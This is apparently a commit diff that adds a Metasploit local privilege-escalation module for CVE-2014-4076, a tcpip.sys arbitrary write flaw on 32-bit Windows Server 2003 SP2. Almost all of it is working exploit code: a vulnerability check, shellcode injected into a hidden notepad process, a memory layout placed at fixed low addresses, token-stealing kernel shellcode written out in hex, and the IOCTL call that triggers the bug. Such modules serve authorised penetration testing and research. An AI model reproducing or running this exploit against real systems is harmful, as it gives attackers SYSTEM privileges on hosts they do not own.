|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/exploit/local/windows_kernel' |
| 8 | +require 'rex' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Local |
| 11 | + Rank = AverageRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Local::WindowsKernel |
| 14 | + include Msf::Post::File |
| 15 | + include Msf::Post::Windows::FileInfo |
| 16 | + include Msf::Post::Windows::Priv |
| 17 | + include Msf::Post::Windows::Process |
| 18 | + |
| 19 | + def initialize(info={}) |
| 20 | + super(update_info(info, { |
| 21 | + 'Name' => 'Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation', |
| 22 | + 'Description' => %q{ |
| 23 | + A vulnerability within Microsoft TCP/IP protocol driver, tcpip.sys, can allow an attacker |
| 24 | + to inject memory controlled by the attacker into an arbitrary location. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC |
| 30 | + 'Jay Smith <jsmith[at]korelogic.com>' # MSF module |
| 31 | + ], |
| 32 | + 'Arch' => ARCH_X86, |
| 33 | + 'Platform' => 'win', |
| 34 | + 'SessionTypes' => [ 'meterpreter' ], |
| 35 | + 'DefaultOptions' => |
| 36 | + { |
| 37 | + 'EXITFUNC' => 'thread', |
| 38 | + }, |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + ['Windows Server 2003 SP2', {} ] |
| 42 | + ], |
| 43 | + 'References' => |
| 44 | + [ |
| 45 | + ['CVE', '2014-4076'], |
| 46 | + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt'] |
| 47 | + ], |
| 48 | + 'DisclosureDate'=> 'Nov 11 2014', |
| 49 | + 'DefaultTarget' => 0 |
| 50 | + })) |
| 51 | + |
| 52 | + register_options( |
| 53 | + [ |
| 54 | + OptString.new('PID', [true, 'The target PID to elevate into', nil]), |
| 55 | + ]) |
| 56 | + |
| 57 | + end |
| 58 | + |
| 59 | + def check |
| 60 | + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ |
| 61 | + return Exploit::CheckCode::Safe |
| 62 | + end |
| 63 | + |
| 64 | + handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') |
| 65 | + if handle.nil? |
| 66 | + return Exploit::CheckCode::Safe |
| 67 | + end |
| 68 | + session.railgun.kernel32.CloseHandle(handle) |
| 69 | + |
| 70 | + file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys" |
| 71 | + unless file?(file_path) |
| 72 | + return Exploit::CheckCode::Unknown |
| 73 | + end |
| 74 | + |
| 75 | + major, minor, build, revision, branch = file_version(file_path) |
| 76 | + vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") |
| 77 | + |
| 78 | + if ("#{major}.#{minor}.#{build}.#{revision}.#{branch}" == "5.2.3790.4573.45") |
| 79 | + return Exploit::CheckCode::Vulnerable |
| 80 | + end |
| 81 | + |
| 82 | + return Exploit::CheckCode::Safe |
| 83 | + end |
| 84 | + |
| 85 | + def create_proc |
| 86 | + windir = session.sys.config.getenv('windir') |
| 87 | + cmd = "#{windir}\\System32\\notepad.exe" |
| 88 | + # run hidden |
| 89 | + begin |
| 90 | + proc = session.sys.process.execute(cmd, nil, 'Hidden' => true) |
| 91 | + rescue Rex::Post::Meterpreter::RequestError |
| 92 | + return nil |
| 93 | + end |
| 94 | + |
| 95 | + proc.pid |
| 96 | + end |
| 97 | + |
| 98 | + def exploit |
| 99 | + if is_system? |
| 100 | + fail_with(Exploit::Failure::None, 'Session is already elevated') |
| 101 | + end |
| 102 | + |
| 103 | + if sysinfo["Architecture"] =~ /wow64/i |
| 104 | + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") |
| 105 | + elsif sysinfo["Architecture"] =~ /x64/ |
| 106 | + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") |
| 107 | + end |
| 108 | + |
| 109 | + unless check == Exploit::CheckCode::Vulnerable |
| 110 | + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") |
| 111 | + end |
| 112 | + |
| 113 | + p = payload.encoded |
| 114 | + new_pid = create_proc |
| 115 | + |
| 116 | + if new_pid.nil? |
| 117 | + print_warning('Unable to create a new process.') |
| 118 | + return |
| 119 | + end |
| 120 | + |
| 121 | + print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...") |
| 122 | + unless execute_shellcode(p, nil, new_pid) |
| 123 | + fail_with(Failure::Unknown, 'Error while executing the payload') |
| 124 | + end |
| 125 | + |
| 126 | + handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') |
| 127 | + if handle.nil? |
| 128 | + fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device") |
| 129 | + end |
| 130 | + |
| 131 | + print_status("Storing the shellcode in memory...") |
| 132 | + this_proc = session.sys.process.open |
| 133 | + |
| 134 | + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE") |
| 135 | + |
| 136 | + if not this_proc.memory.writable?(0x1000) |
| 137 | + vprint_error("Failed to allocate memory") |
| 138 | + return nil |
| 139 | + else |
| 140 | + vprint_good("0x1000 is now writable") |
| 141 | + end |
| 142 | + |
| 143 | + buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" |
| 144 | + |
| 145 | + sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04" |
| 146 | + sc << "\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98" |
| 147 | + sc << "\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8" |
| 148 | + sc << "\x00\x00\x00\x83\xE7\xF8\x58\xBB" |
| 149 | + sc << [new_pid].pack('V') |
| 150 | + sc << "\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94" |
| 151 | + sc << "\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA" |
| 152 | + sc << "\x39\xFF\xA2\xBA" |
| 153 | + sc << "\xB9\x00\x00\x00\x00" |
| 154 | + sc << "\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00" |
| 155 | + |
| 156 | + this_proc.memory.write(0x28, "\x87\xFF\xFF\x38") |
| 157 | + this_proc.memory.write(0x38, "\x00\x00") |
| 158 | + this_proc.memory.write(0x1100, buf) |
| 159 | + this_proc.memory.write(0x2b, "\x00\x00") |
| 160 | + this_proc.memory.write(0x2000, sc) |
| 161 | + |
| 162 | + print_status("Triggering the vulnerability...") |
| 163 | + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0) |
| 164 | + session.railgun.kernel32.CloseHandle(handle) |
| 165 | + |
| 166 | + print_status("Checking privileges after exploitation...") |
| 167 | + |
| 168 | + unless is_system? |
| 169 | + fail_with(Failure::Unknown, "The exploitation wasn't successful") |
| 170 | + else |
| 171 | + print_good("Exploitation successful!") |
| 172 | + end |
| 173 | + |
| 174 | + end |
| 175 | + |
| 176 | +end |
| 177 | + |
0 commit comments